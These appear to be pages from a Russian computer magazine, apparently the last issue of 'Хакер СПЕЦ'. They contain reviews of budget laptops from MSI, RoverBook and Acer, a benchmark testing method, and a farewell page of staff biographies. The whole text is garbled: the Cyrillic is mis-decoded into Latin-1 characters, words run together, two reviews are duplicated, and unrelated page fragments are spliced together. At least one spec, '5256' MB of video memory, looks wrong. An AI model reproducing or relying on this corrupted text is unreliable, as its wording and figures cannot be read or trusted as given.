MSI MEGABOOKS430($1199) 6 áàëëîâÏÐÎÖÅÑÑÎÐ, ÃÃÖ: 1.8, AMD SempronÎÏÅÐÀÒÈÂÍÀß ÏÀÌßÒÜ, ÌÁ: 1024ÐÀÇÌÅÐ ÝÊÐÀÍÀ, ÄÌ: 14ÂÈÄÅÎÊÀÐÒÀ, ÌÁ: 256, NVIDIA GeForce Go 6100ÆÅÑÒÊÈÉ ÄÈÑÊ, ÃÁ: 60ÎÏÒÈ×ÅÑÊÈÉ ÏÐÈÂÎÄ: DVD-ROMÑÐ-ÂÀ ÑÂßÇÈ: ìîäåì, LANÈÍÒÅÐÔÅÉÑÛ: USB, mic, ear, PC-Card, VGAÃÀÁÀÐÈÒÛ, ÌÌ: 330x275x26ÂÅÑ, ÊÃ: 2.1ïëþñû. Ýòà ìîäåëü, ïî ñðàâíåíèþñ äðóãèì èçäåëèåì MSI èç íàøåãîîáçîðà, èìååò áîëåå ñòèëüíûéâíåøíèé âèä è íåñêîëüêî óëó÷øåííóþñèòóàöèþ ñ àâòîíîìíîé ðàáîòîé.Âðåìÿ æèçíè íîóòáóêà îò àêêóìóëÿòîðàíåìíîãî âûðîñëî, íî èñêîðîñòü åãî çàðÿäêè òàêæå âîçðîñëà.Íàìïàä èñ÷åç, êëàâèàòóðà ñòàíäàðòíàÿ,÷òî áëàãîïðèÿòíî ñêàçàëîñüíà ðàçìåðàõ êëàâèø è âîîáùåíà ðàñêëàäêå — íå ïóòàåøüñÿ ïðèíàæàòèè. Êîðïóñ èìååò äâà öâåòà,÷åðíûé è ñåðåáðÿíûé, ÷òî, âêóïåñ íîðìàëüíûì âèäîì êíîïêè Power,ïîëîæèòåëüíî ñêàçàëîñü íà ýêñòåðüåðåóñòðîéñòâà. Ñòîèò îòìåòèòü íàëè÷èåWi-Fi àäàïòåðà è ìàëûå ãàáàðèòûóñòðîéñòâà — ýòî ïðèãîäèòñÿòåì, êòî ïëàíèðóåò èñïîëüçîâàòüåãî â äîðîãå.ìèíóñû. Õîòü è óëó÷øåííàÿ,ñèòóàöèÿ ñ àâòîíîìíûì ôóíêöèîíèðîâàíèåìäîâîëüíî ïëà÷åâíà.Òåñò PCMark 2005 òàê è íå áûëïðîéäåí — çàðÿäà íå õâàòèëî.Âñòðîåííûå êîìïîíåíòû, äà è íåâñòðîåííûå òîæå, äîâîëüíî ñëàáûå,÷òî îáúÿñíÿåò òàêèå íåâûñîêèåðåçóëüòàòû, ïîëó÷åííûå ýòèìóñòðîéñòâîì.101 |ROVERBOOKNAUTILUS W550 WH($1250) 9 áàëëîâÏÐÎÖÅÑÑÎÐ, ÃÃÖ: 2.0, AMD Turion 64 X2 TL-60ÎÏÅÐÀÒÈÂÍÀß ÏÀÌßÒÜ, ÌÁ: 1024ÐÀÇÌÅÐ ÝÊÐÀÍÀ, ÄÌ: 15.4ÂÈÄÅÎÊÀÐÒÀ, ÌÁ: 5256, NVIDIA GeForce Go 7600ÆÅÑÒÊÈÉ ÄÈÑÊ, ÃÁ: 100ÎÏÒÈ×ÅÑÊÈÉ ÏÐÈÂÎÄ: DVD+RW DLÑÐ-ÂÀ ÑÂßÇÈ: ìîäåì, LAN, Bluetooth, Wi-FiÈÍÒÅÐÔÅÉÑÛ: USB, mic, ear, PC-Card,S-Video, DVI, mini FireWireÃÀÁÀÐÈÒÛ, ÌÌ: 358õ259õ30ÂÅÑ, ÊÃ: 2.9ïëþñû. Íîóòáóê Rover î÷åíüïîõîæ íà 675-þ ìîäåëü îò MSI: ñðàçóáðîñàþòñÿ â ãëàçà ñõîæèå òåõíè-÷åñêèå õàðàêòåðèñòèêè, ýëåìåíòûäèçàéíà, à ãëàâíîå — íàëè÷èå ïîëíîöåííîãîNumPad'à. Àáñîëþòíîèäåíòè÷íà è âñòðîåííàÿ web-êàìåðà,íà òîì æå ìåñòå ðàñïîëîæåíìèêðîôîí. Íî íà÷èíêà ó äåòèùàRover ìîùíåå: áîëåå áûñòðûé ïðîöåññîðAMD Turion 64 X2 TL-60(âìåñòî TL-56 ó Ì675) è áîëåå âìåñòèòåëüíûéæåñòêèé äèñê (100 âìåñòî80 Ãá). Ãèãàáàéò îïåðàòèâíîé ïàìÿòèè âèäåîàäàïòåð NVIDIA GeForce7600 Go ïðèñóòñòâóþò è íè÷åì îòàíàëîãè÷íûõ êîìïîíåíòîâ â äåâàéñåîò MSI íå îòëè÷àþòñÿ. Íî ãëàâíàÿïðîáëåìà áûëà ðåøåíà: âðåìÿ àâòîíîìíîéðàáîòû âïîëíå ïðèåìëåìîå(ïî÷òè äâà ÷àñà), âñå òåñòû áûëèïðîéäåíû, ïðè÷åì ñ õîðîøèìè ðåçóëüòàòàìè,à âîñïîëíåíèå çàðÿäààêêóìóëÿòîðîâ ïðîèñõîäèò äîâîëüíîáûñòðî. Òàê ÷òî íå ïåðåâåëèñü åùåóìåëüöû íà Ðóñè!ìèíóñû. Ê ñîæàëåíèþ, îñòàëèñüâñå ïðîáëåìû ñ êíîïêàìè.Èç-çà íàëè÷èÿ íàìïàäà óæàòà êëàâèàòóðà,ïðè íàáîðå òåêñòà áóäåøüïóòàòüñÿ. Òàêæå ïðèñóòñòâóþòñòðàøíåíüêèå è áîëüøèå áûñòðûåêëàâèøè è êíîïêà Power.


ÎÔÔÒÎÏÈÊhardÄîñòóïíàÿ ìîáèëüíîñòüÒÅÑÒÈÐÓÅÌ ÍÅÄÎÐÎÃÈÅ ÍÎÓÒÁÓÊÈÑ Å Ð Ã Å É Í È Ê È Ò È Íòåõíîëîãèè.  ñîâðåìåííûõ äåøåâûõ íîóòáóêàõ íàèáîëåå ÷àñòîâñòðå÷àþòñÿ âñòðîåííûå âèäåîàäàïòåðû, êîòîðûå íå ñïîñîáíû íà âûñîêóþïðîèçâîäèòåëüíîñòü — ýòî íå ïîçâîëÿåò íà òàêèõ ëýïòîïàõ íàñëàæäàòüñÿòðåáîâàòåëüíûìè ê ãðàôèêå èãðàìè. Äà è îáùàÿ ïðîèçâîäèòåëüíîñòü,êàê ìû è ãîâîðèëè âûøå, è êàê ïîêàçûâàþò òåñòû, ïàäàåò. Âòîðîéïðîáëåìîé âûñòóïàåò ìàëîå âðåìÿ àâòîíîìíîé ðàáîòû. Íåêîòîðûå óñòðîéñòâàíå ñìîãëè â ñâÿçè ñ ýòèì ïðîéòè â ðåæèìå àâòîíîìíîé ðàáîòûòåñò PCMark 2005, çàðÿä â áàòàðåå ïðîñòî çàêàí÷èâàëñÿ ðàíüøå, ÷åì ñàìòåñò. Ïîýòîìó åñëè òû ïëàíèðóåøü ðàáîòàòü â äîðîãå, òî îáðàòè íà ýòîòïàðàìåòð ñàìîå òùàòåëüíîå âíèìàíèå! Ê íåîñïîðèìûì ïëþñàì òàêèõ äåâàéñîâîòíîñÿòñÿ ñèëüíûå îñíîâíûå êîìïîíåíòû (äâóÿäåðíûå ïðîöåññîðû,êîëè÷åñòâî ïàìÿòè, óíèâåðñàëüíûå îïòè÷åñêèå ïðèâîäû è ò.ä.) è íàëè÷èåâñåâîçìîæíûõ ñðåäñòâ ñâÿçè, âêëþ÷àÿ áåñïðîâîäíûå. Ê íåêîòîðûììîáèëüíûì ÏÊ ïðèêëàäûâàþòñÿ îáøèðíûå íàáîðû ôèðìåííîãî ïðîãðàììíîãîîáåñïå÷åíèÿ, êîòîðûå äåëàþò ðàáîòó óñòðîéñòâà áîëåå áûñòðîé,óäîáíîé è áåçîïàñíîé.ìåòîäèêà òåñòèðîâàíèÿ. ×òîáû âûÿñíèòü âñå ñàìûì òùàòåëüíûì îáðàçîì,ìû ðàçðàáîòàëè ñïåöèàëüíóþ ìåòîäèêó òåñòèðîâàíèÿ, êîòîðàÿ ó÷èòûâàåòâñå íþàíñû ðàáîòû ìîáèëüíûõ êîìïüþòåðîâ. Òåñòû ïðîâîäèëèñü â äâóõðåæèìàõ: ïðè ïèòàíèè îò ñåòè è ïðè àâòîíîìíîé ðàáîòå.  ñàìîì íà÷àëåñ ïîìîùüþ óòèëèòû Lavalys Everest ìû ïîëó÷àëè ïîäðîáíåéøóþ èíôîðìàöèþî ñèñòåìå. Çàîäíî çàïóñêàëñÿ âñòðîåííûé â íåå ìîíèòîðèíã òåìïåðàòóðûïðîöåññîðà, ÷èïñåòà è æåñòêîãî äèñêà. Ïîòîì, èñïîëüçóÿ óòèëèòû S&M(íàãðóçêà ïðîöåññîðà) è ThrottleWatch (ëîãèðóåò ÷àñòîòó ïðîöåññîðà, íàïðÿæåíèåè íåêîòîðûå äðóãèå ïàðàìåòðû), ìû âûÿñíÿëè ïðàâèëüíîñòü ðàáîòûäàííîãî ÏÊ ïî ñõåìàì ïèòàíèÿ Always On (ïðè ðàáîòå îò ñåòè) è Laptop (ïðèðàáîòå îò àêêóìóëÿòîðà). Äåëî â òîì, ÷òî åñëè îò ñåòè íîóòáóêè ðàáîòàþòíîðìàëüíî, òî â ðåæèìå Laptop îíè ìîãóò âåñòè ñåáÿ «íåïðàâèëüíî» —íå ñíèæàòü ÿðêîñòü ýêðàíà, íå ñáðàñûâàòü ÷àñòîòó ðàáîòû è íàïðÿæåíèåïðîöåññîðà, ÷òî íåãàòèâíî îòðàæàåòñÿ íà âðåìåíè ðàáîòû, è ðåçóëüòàòû òåñòîâïîëó÷àþòñÿ íåêîððåêòíûìè. Åñëè âñå áûëî íîðìàëüíî, çàïóñêàëñÿ òåñòîâûéêîìïëåêò: áåí÷ìàðêè 3DMark 2001 SE, 3DMark 2003, 3DMark 2003,PCMark 2004 è PCMark 2005. Ïðè ðàáîòå îò áàòàðåè ê íèì äîáàâëÿëàñü ïðîãðàììàBattery Eater, ïðè ïîìîùè êîòîðîé ìû îïðåäåëÿëè âðåìÿ àâòîíîìíîéðàáîòû óñòðîéñòâà. Òàêæå ñ ïîìîùüþ êîëîðèìåòðà è óòèëèòû OptiCAL ìûñòðîèëè êîëîðèìåòðè÷åñêóþ äèàãðàììó äèñïëåÿ.ACER TRAVELMATE4222 WLMI($1100) 6 áàëëîâÏÐÎÖÅÑÑÎÐ, ÃÃÖ: 1.66, Intel Core Duo T2300EÎÏÅÐÀÒÈÂÍÀß ÏÀÌßÒÜ, ÌÁ: 1024ÐÀÇÌÅÐ ÝÊÐÀÍÀ, ÄÌ: 15.4ÂÈÄÅÎÊÀÐÒÀ, ÌÁ: Intel GMA 950ÆÅÑÒÊÈÉ ÄÈÑÊ, ÃÁ: 80ÎÏÒÈ×ÅÑÊÈÉ ÏÐÈÂÎÄ: DVD+RW Super MultiÑÐ-ÂÀ ÑÂßÇÈ: ìîäåì, LAN, Bluetooth, Wi-FiÈÍÒÅÐÔÅÉÑÛ: USB, mic, ear, PC-Card, VGAÃÀÁÀÐÈÒÛ, ÌÌ: 364x274.75x30ÂÅÑ, ÊÃ: 2.95ïëþñû. Ñòèëüíî âûãëÿäÿùèéíîóòáóê îò êîìïàíèè Acer, îáëàäàþùèé,ê òîìó æå, êó÷åé ôèðìåííûõóòèëèò è òåõíîëîãèé, óëó÷øàþùèõðàáîòó âñåãî, ÷òî òîëüêî âîçìîæíî,è äåëàþùèõ åå óäîáíåå è áåçîïàñíåå.Ýêðàí ðàçìåðîì â 15.4" áîëüøîéè êà÷åñòâåííûé, öâåòà ÿðêèå,è, âîîáùå, — ðàáîòàòü çà íèì ïðèÿòíî. íàëè÷èè åñòü òàêæå âñòðîåííûåìèêðîôîí è web-êàìåðà. Êëàâèàòóðàìÿãêàÿ è ïðèÿòíàÿ, îáëàäàåòíåñêîëüêî íåîáû÷íîé ôîðìîé. Âíèçóòà÷ïàäà äîáàâëåíà êíîïêà-äæîéñòèêäëÿ óïðàâëåíèÿ êóðñîðîì —êîìó-òî íàâåðíÿêà ïðèäåòñÿ ïî äóøå.Ïðèÿòíî, ÷òî çà ýòèì êîìïîìòåáå íå ãðîçèò îäèíî÷åñòâî — ïîëíûéíàáîð ñðåäñòâ ñâÿçè ê òâîèìóñëóãàì (ìîäåì, LAN, Bluetooth,Wi-Fi). À äëÿ îáùåíèÿ ñ äðóãèìè íîñèòåëÿìèåñòü óíèâåðñàëüíûé îïòè-÷åñêèé ïðèâîä è êàðä-ðèäåð.ìèíóñû. Âïå÷àòëåíèå îò íåïëîõîé,â îáùåì, íà÷èíêå ïîðòèòâñòðîåííûé âèäåîàäàïòåð, êîòîðûéîïðåäåëåííî ìåøàåò ïîçíàòü âñåïðåëåñòè êà÷åñòâåííîãî ýêðàíà.Èìåííî èç-çà íåãî íîóòáóê íå ïðîøåëòåñòû 3DMark 2005 è 2006,äà è âîîáùå, ó÷èòûâàÿ êîíôèãóðàöèþâ öåëîì, ñòîëü íèçêèå ïîêàçàòåëèâ òåñòàõ — ýòî åãî ðàáîòà.


MSI MEGABOOKS430($1199) 6 áàëëîâÏÐÎÖÅÑÑÎÐ, ÃÃÖ: 1.8, AMD SempronÎÏÅÐÀÒÈÂÍÀß ÏÀÌßÒÜ, ÌÁ: 1024ÐÀÇÌÅÐ ÝÊÐÀÍÀ, ÄÌ: 14ÂÈÄÅÎÊÀÐÒÀ, ÌÁ: 256, NVIDIA GeForce Go 6100ÆÅÑÒÊÈÉ ÄÈÑÊ, ÃÁ: 60ÎÏÒÈ×ÅÑÊÈÉ ÏÐÈÂÎÄ: DVD-ROMÑÐ-ÂÀ ÑÂßÇÈ: ìîäåì, LANÈÍÒÅÐÔÅÉÑÛ: USB, mic, ear, PC-Card, VGAÃÀÁÀÐÈÒÛ, ÌÌ: 330x275x26ÂÅÑ, ÊÃ: 2.1ïëþñû. Ýòà ìîäåëü, ïî ñðàâíåíèþñ äðóãèì èçäåëèåì MSI èç íàøåãîîáçîðà, èìååò áîëåå ñòèëüíûéâíåøíèé âèä è íåñêîëüêî óëó÷øåííóþñèòóàöèþ ñ àâòîíîìíîé ðàáîòîé.Âðåìÿ æèçíè íîóòáóêà îò àêêóìóëÿòîðàíåìíîãî âûðîñëî, íî èñêîðîñòü åãî çàðÿäêè òàêæå âîçðîñëà.Íàìïàä èñ÷åç, êëàâèàòóðà ñòàíäàðòíàÿ,÷òî áëàãîïðèÿòíî ñêàçàëîñüíà ðàçìåðàõ êëàâèø è âîîáùåíà ðàñêëàäêå — íå ïóòàåøüñÿ ïðèíàæàòèè. Êîðïóñ èìååò äâà öâåòà,÷åðíûé è ñåðåáðÿíûé, ÷òî, âêóïåñ íîðìàëüíûì âèäîì êíîïêè Power,ïîëîæèòåëüíî ñêàçàëîñü íà ýêñòåðüåðåóñòðîéñòâà. Ñòîèò îòìåòèòü íàëè÷èåWi-Fi àäàïòåðà è ìàëûå ãàáàðèòûóñòðîéñòâà — ýòî ïðèãîäèòñÿòåì, êòî ïëàíèðóåò èñïîëüçîâàòüåãî â äîðîãå.ìèíóñû. Õîòü è óëó÷øåííàÿ,ñèòóàöèÿ ñ àâòîíîìíûì ôóíêöèîíèðîâàíèåìäîâîëüíî ïëà÷åâíà.Òåñò PCMark 2005 òàê è íå áûëïðîéäåí — çàðÿäà íå õâàòèëî.Âñòðîåííûå êîìïîíåíòû, äà è íåâñòðîåííûå òîæå, äîâîëüíî ñëàáûå,÷òî îáúÿñíÿåò òàêèå íåâûñîêèåðåçóëüòàòû, ïîëó÷åííûå ýòèìóñòðîéñòâîì.101 |ROVERBOOKNAUTILUS W550 WH($1250) 9 áàëëîâÏÐÎÖÅÑÑÎÐ, ÃÃÖ: 2.0, AMD Turion 64 X2 TL-60ÎÏÅÐÀÒÈÂÍÀß ÏÀÌßÒÜ, ÌÁ: 1024ÐÀÇÌÅÐ ÝÊÐÀÍÀ, ÄÌ: 15.4ÂÈÄÅÎÊÀÐÒÀ, ÌÁ: 5256, NVIDIA GeForce Go 7600ÆÅÑÒÊÈÉ ÄÈÑÊ, ÃÁ: 100ÎÏÒÈ×ÅÑÊÈÉ ÏÐÈÂÎÄ: DVD+RW DLÑÐ-ÂÀ ÑÂßÇÈ: ìîäåì, LAN, Bluetooth, Wi-FiÈÍÒÅÐÔÅÉÑÛ: USB, mic, ear, PC-Card,S-Video, DVI, mini FireWireÃÀÁÀÐÈÒÛ, ÌÌ: 358õ259õ30ÂÅÑ, ÊÃ: 2.9ïëþñû. Íîóòáóê Rover î÷åíüïîõîæ íà 675-þ ìîäåëü îò MSI: ñðàçóáðîñàþòñÿ â ãëàçà ñõîæèå òåõíè-÷åñêèå õàðàêòåðèñòèêè, ýëåìåíòûäèçàéíà, à ãëàâíîå — íàëè÷èå ïîëíîöåííîãîNumPad'à. Àáñîëþòíîèäåíòè÷íà è âñòðîåííàÿ web-êàìåðà,íà òîì æå ìåñòå ðàñïîëîæåíìèêðîôîí. Íî íà÷èíêà ó äåòèùàRover ìîùíåå: áîëåå áûñòðûé ïðîöåññîðAMD Turion 64 X2 TL-60(âìåñòî TL-56 ó Ì675) è áîëåå âìåñòèòåëüíûéæåñòêèé äèñê (100 âìåñòî80 Ãá). Ãèãàáàéò îïåðàòèâíîé ïàìÿòèè âèäåîàäàïòåð NVIDIA GeForce7600 Go ïðèñóòñòâóþò è íè÷åì îòàíàëîãè÷íûõ êîìïîíåíòîâ â äåâàéñåîò MSI íå îòëè÷àþòñÿ. Íî ãëàâíàÿïðîáëåìà áûëà ðåøåíà: âðåìÿ àâòîíîìíîéðàáîòû âïîëíå ïðèåìëåìîå(ïî÷òè äâà ÷àñà), âñå òåñòû áûëèïðîéäåíû, ïðè÷åì ñ õîðîøèìè ðåçóëüòàòàìè,à âîñïîëíåíèå çàðÿäààêêóìóëÿòîðîâ ïðîèñõîäèò äîâîëüíîáûñòðî. Òàê ÷òî íå ïåðåâåëèñü åùåóìåëüöû íà Ðóñè!ìèíóñû. Ê ñîæàëåíèþ, îñòàëèñüâñå ïðîáëåìû ñ êíîïêàìè.Èç-çà íàëè÷èÿ íàìïàäà óæàòà êëàâèàòóðà,ïðè íàáîðå òåêñòà áóäåøüïóòàòüñÿ. Òàêæå ïðèñóòñòâóþòñòðàøíåíüêèå è áîëüøèå áûñòðûåêëàâèøè è êíîïêà Power.


ÎÔÔÒÎÏÈÊcrewëè÷íûé ñîñòàâÏÎÑËÅÄÍßß ÃÀÑÒÐÎËÜ ÀÐÒÈÑÒÀ-ÑÎËÈÑÒÀ ÈÌÅÐÀÒÎÐÑÊÎÃÎ ÒÅÀÒÐÀÄÐÀÌÛ È ÊÎÌÅÄÈÈ! ÑÅÌÜ ÄÎËÃÈÕËÅÒ ÆÓÐÍÀË ÑÏÅÖ ÕÀÊÅÐ ÁÛËÑ ÒÎÁÎÉ. È ÂÎÒ ÍÀÑÒÀË ÂÅËÈÊÈÉÌÎÌÅÍÒ — ÌÎÌÅÍÒ ÈÑÒÈÍÛ.ÒÛ ÄÅÐÆÈØÜ Â ÐÓÊÀÕ ÏÎÑËÅÄÍÈÉÍÎÌÅÐ ÆÓÐÍÀËÀ, ÍÀÇÛÂÀÞÙÅÃÎÑß«ÑÏÅÖ». ÍÎ ÍÅ ÑÏÅØÈÐÀÑÑÒÐÀÈÂÀÒÜÑß :), ÍÈ ÆÓÐÍÀË,ÍÈ ÅÃÎ ÊÎÌÀÍÄÀ ÍÀ ÑÀÌÎÌ ÄÅËÅÍÈÊÓÄÀ ÍÅ ÄÅÍÓÒÑß. ÏÐÎÑÒÎ ÎÍÁÓÄÅÒ ÍÀÇÛÂÀÒÜÑß ÏÎ-ÄÐÓÃÎÌÓ —«IT ÑÏÅÖ», È Â ÎÑÍÎÂÍÎÌ ÁÓÄÅÒÐÀÑÑ×ÈÒÀÍ ÍÀ IT-ÑÏÅÖÈÀËÈÑÒÎÂÐÀÇËÈ×ÍÛÕ ÊÎÌÏÀÍÈÉ, ÍÎ È ÏÐÎÍÀØÈÕ ÄÎÐÎÃÈÕ ×ÈÒÀÒÅËÅÉ ÌÛÇÀÁÛÂÀÒÜ ÍÅ ÍÀÌÅÐÅÍÛ :).  ÍÎÂÎÌÑÏÅÖÅ ÁÓÄÅÒ ÌÍÎÆÅÑÒÂÎ ÐÓÁÐÈÊ(«ÁÅÇÎÏÀÑÍÎÑÒÜ»,«ÏÐÎÃÐÀÌÌÈÐÎÂÀÍÈÅ»,«ÒÅÍÄÅÍÖÈÈ»), ÊÎÒÎÐÛÅ ÁÓÄÓÒÈÍÒÅÐÅÑÍÛ È ÒÅÁÅ, À ÑÀÌ ÆÓÐÍÀË, ÎÒËÈ×ÈÈ ÎÒ ÊËÀÑÑÈ×ÅÑÊÈÕ B2BÈÇÄÀÍÈÉ, ÁÓÄÅÒ ÐÀÑÏÐÎÑÒÐÀÍßÒÜÑß ÒÎÌ ×ÈÑËÅ È ÏÐÅÆÍÈÌ ÏÎÑÎÁÎÌ,ÒÎ ÅÑÒÜ Â ÐÎÇÍÈÖÓ. ÎÄÍÀÊÎ ßÍÅÌÍÎÃÎ ÎÒÂËÅÊÑß ÍÀ ÁÓÄÓÙÅÅ.ÑÅÃÎÄÍß ÆÅ ÌÛ ×ÅÑÒÂÓÅÌ ÊÎÌÀÍÄÓ— ÏÎÝÒÎÌÓ ÂÑÒÐÅ×ÀÉ ÂÑÅÕ ÒÅÕ, ÊÒÎÂÑÅ ÝÒÎ ÂÐÅÌß ÐÀÁÎÒÀË ÍÀ ÀÐÅÍÅÁÅÇ ÑÒÐÀÕÎÂÊÈ.6171Àëåêñàíäð Ëîçîâñêèéaka Dr.KlounizðåäàêòîðÄëÿ íà÷àëà îòêðîþ ñàìóþñòðàøíóþ òàéíó —ó ìåíÿ äåéñòâèòåëüíîâûñøåå ìåäèöèíñêîåîáðàçîâàíèå (ÿ çàêîí-÷èë ìåäôàê ÐÓÄÍ) è ÿäåéñòâèòåëüíî íèêîãäàíå ó÷èëñÿ íè â êàêèõòåõíè÷åñêèõ ÂÓÇ'àõ :).Ìîÿ ïåðâàÿ ñòàòüÿ ïðîêîäèíã ñíèôôåðà âûøëàâ Õàêåðå â 2001 ãîäó,â æóðíàëå, âèäîèçìåíåííîìâåëèêèì ðåäèçàéíîì(âñå ïîìíÿòáðóòàëüíóþ îáëîæêóñ ãðÿçíîé íîãîé :)).Ïîñëå ýòîãî, íåêîòîðîåâðåìÿ â æóðíàë ÿ íè÷åãîíå ïèñàë, çàòî ðåãóëÿðíîîòìå÷àëñÿ íàxakep.ru ïîñðåäñòâîìñòàòåé, ïîñâÿùåííûõíåêîòîðûì àñïåêòàìâèðóñíîãî ïðîãðàììèíãàíà Delphi :). Çàòåì ÿïîëíîñòüþ ïåðåêëþ÷èëñÿíà ñòàòüè â êîäèíãÕàêåðà, è íàêîíåö —ïîãðóçèëñÿ â ðåäàêòîðñòâîè âûïóñêàþùååðåäàêòîðñòâî â îáåèõæóðíàëàõ (Ñïåö è Õàêåð,ýòî ïðîèçîøëî â2003-ì, õîòÿ ñòîï, ïîñêîëüêóòåïåðü âûïóñêàþùèéðåäàêòîð äîëæåíáûòü îôèñíûì ñîòðóäíèêîì,ÿ ïðîñòî âçÿëíà ñåáÿ áîëüøå ðåäàêòîðñêîéðàáîòû).Ïî æèçíè — íàäàííûé ìîìåíò òðóæóñüâ ïðèåìíîì îòäåëåíèèîäíîé ãîðîäñêîéáîëüíèöû (ñóäÿ ïîäåíüãàì — áîëüøåõîááè, ðàáîòà — ýòîâñå æå æóðíàëû :)),ðàçâëåêàþ ñåáÿ ïîäíÿòèåìòÿæåñòåé è îòæèãàþíà ôîðóìàõ òèïàÐÌÑ (forums.rusmedserv.com).À, íó åùå ïîñëóøèâàþìóçûêó, èíîãäà— òàêóþ æå ýêñòðåìàëüíóþ,êàê Êàðàìíîôô,èíîãäà — ìåíååýêñòðåìàëüíóþ, îáû÷íî— power metal.


2Àíäðåé Êàðàìíîââåðñòàëüùèê3Àëåêñàíäð Êèñåëåâöâåòîêîððåêòîð4Íàñòÿ Ãëóõîâàëèòåðàòóðíûé ðåäàêòîð5Àíäðåé Êàðîëèêðåäàêòîð103 |Ïîäâÿçàëñÿ âåðñòàëüùèêîìâ «Õàêåð ÑÏÅÖ»ëåòîì 2006 ãîäà, äîýòîãî ñîòðóäíè÷àë ñðàçëè÷íûìè èçäàòåëüñêèìèäîìàìè, âûïîëíÿÿàíàëîãè÷íóþ ðàáîòó.Æóðíàë çàèíòåðåñîâàëïðåæäå âñåãîíåñòàíäàðòíûì ïîäõîäîìê âûáîðó òåì â íîìåð,îðèãèíàëüíûì èõèñïîëíåíèåì â ëèöåíàøèõ äèçàéíåðîâ è,êîíå÷íî æå, óíèêàëüíîéòâîð÷åñêîé àòìîñôåðîéâî âðåìÿ ñäà÷èíîìåðà â ïå÷àòü :-)(î÷åíü òàêòè÷íî ñêàçàíî:) — ïðèì. Dr.). Öåíþîòâåòñòâåííûé è çàèíòåðåñîâàííûéïîäõîäêî âñåìó, çà ÷òî áåðåøüñÿ;íå ïðèåìëþòàêèå ÷åëîâå÷åñêèå êà-÷åñòâà, êàê ãëóïîñòü èëåíü. Õîááè: ýêñòðåìàëüíàÿìóçûêà (òðóìèòîëëèñò! — ïðèì.Dr.), ëèòåðàòóðà.Âñå ÷òî èìååòíà÷àëî, èìååò è ñâîéëîãè÷åñêèé êîíåö!Âîò è íàñòàë êîíåö äëÿæóðíàëà «ÕàêåðÑÏÅÖ»!Íó ÷òî, äóìàþ,ïîõîðîí ïðîâîäèòü íåáóäåì, à òîëüêî ñòàíåìâñïîìèíàòü õîðîøåå,à åãî áûëî íàìíîãîáîëüøå ÷åì îòðèöàòåëüíîãî.Ñïè ñïîêîéíî,íàø «Õàêåð ÑÏÅÖ»!Ñàìàÿ «ãðàìîòíàÿ» âæóðíàëå =). ÐåäàêòèðóþÑÏÅÖ ñ èþíÿ 2006, ïàðàëëåëüíîó÷óñü â Ïîëèãðàôåè ðàáîòàþ âÖåíòðå ñîâðåìåííîãîèñêóññòâà. ß â âîñòîðãåîò êîìàíäû, äåëàþùåéæóðíàë — âñå î÷åíüýíåðãè÷íûå, âåñåëûå èòâîð÷åñêèå ëþäè. Îòäåëüíûéðåñïåêò àâòîðàì,îñîáåííî ÊðèñóÊàñïåðñêè: åãî «Ïîòîêñîçíàíèÿ» — ïðîñòî õèò! êîìàíäå æóðíàëà«Õàêåð ÑÏÅÖ» ñ 2003ãîäà, äî ýòîãî óñïåëíàïèñàòü áîëåå ñòàñòàòåé â «Õàêåð» è«Õàêåð ÑÏÅÖ», òàê ÷òîïðåêðàñíî çíàåò âñåïîòåíöèàëüíûå ïðîáëåìû,êîòîðûå ìîãóò âîçíèêíóòüó àâòîðîâ âîâðåìÿ ïîäãîòîâêè ìàòåðèàëà.Ëþáèò ñâîþðàáîòó ïðåæäå âñåãîèç-çà âîçìîæíîñòè îáùàòüñÿñ ëþäüìè, ñ êîòîðûìèçíàêîìèòñÿ âïðîöåññå ïîèñêà íîâûõàâòîðîâ è ýêñïåðòîâ.Ñ÷èòàåò, ÷òî íåò íè÷åãîíåâîçìîæíîãî, ïðîñòîâñå â èòîãå óïèðàåòñÿâ ðåñóðñû. Áîëüøåâñåãî íå ëþáèò íåïðîôåññèîíàëèçìâ ðàáîòå.Öåíèò íàäåæíîñòü èñâîåâðåìåííîñòü. Õîááè— áåãîâûå ðîëèêîâûåêîíüêè, êàïèòàíêîìàíäû Force Team(www.forceteam.ru).3882546Íèêîëàé ×åðåïàíîâaka AvaLANcheãëàâíûé ðåäàêòîð7Ñåðãåé Íèêèòèíâûïóñêàþùèéðåäàêòîð8Èâàí Âàñèí &Íàòàëüÿ Æóêîâààðò-êîìàíäàÓ ðóëÿ ñ 2003 ãîäà.Ñîáñòâåííî, âñå,÷òî ïðîèñõîäèëî ñî«ÑÏÅÖîì» çà ïîñëåäíèåòðè ñ ïîëîâèíîéãîäà è ïðîèñõîäèòñåé÷àñ — íà ìîåé ñîâåñòè.Ïîìèìî ðàáîòû âæóðíàëå, çà ýòî âðåìÿÿ óñïåë: ïîëó÷èòü äèïëîìî âûñøåì îáðàçîâàíèèïî ñïåöèàëüíîñòè«Ôèçèêà», ñìåíèòüñïåöèàëüíîñòü, íî íåïðåäàòü ðîäíîé ÌîñêîâñêèéÓíèâåðñèòåò, ïîéäÿíà âòîðîå âûñøåå,ñïóñòèòü íåñêîëüêî ðàçïðåäïîñëåäíèå øòàíûíà òþíèíã ñâîåãî àâòîìîáèëÿ,óâëå÷üñÿ ÷ðåâîóãîäèåìè æåíñêîéïñèõîëîãèåé (íàäåþñü,â ïðàêòè÷åñêîì àñïåêòåäàííîãî òåðìèíà?Íó, õîðîøî ÷òî õîòüíå æåíñêîé ôèçèîëîãèåé:) — ïðèì. ñàìè çíàåòåêîãî).Ïðèäÿ â «ÑÏÅÖ» òðèíîìåðà íàçàä, ÿ îáíàðóæèëäðóæíóþ è îïûòíóþêîìàíäó, êîòîðàÿóæå äàâíî äåëàåò æóðíàë.Òî÷íåå, äåëàëà,òàê êàê ýòîò íîìåð —ïîñëåäíèé. Ïî ìåðåñâîèõ ñêðîìíûõ ñèë èâîçìîæíîñòåé ÿ ñòàðàëñÿáûòü õîðîøèìâûïðåäîì, êîòîðûé êîîðäèíèðóåòâñþ ðàáîòóðåäàêöèè, ïðîâåðÿåòâñå è â ëþáîé ìîìåíòìîæåò îòâåòèòü íà ëþáîéâîïðîñ ïî ïîâîäóïðîöåññà ñäà÷è. Íàäåþñü,÷òî ïÿòü çàêîí÷åííûõêóðñîâ æóðôàêàïîìîãóò ìíå õîðîøîäåëàòü «ÈÒ-Ñïåö».Îáåùàþ, ÷òî îíáóäåò âûõîäèòü âîâðåìÿ,íå áóäåò ñîäåðæàòü îøèáîê,à ðàçäåë ïî òåñòèðîâàíèþ«æåëåçà» (êîòîðûéáóäó âåñòè ÿ) ñòàíåòñàìûì ëó÷øèì èèíòåðåñíûì â èçäàíèè!Âîò è çàêîí÷èëñÿ ìàðàôîí,êîòîðûé ìû 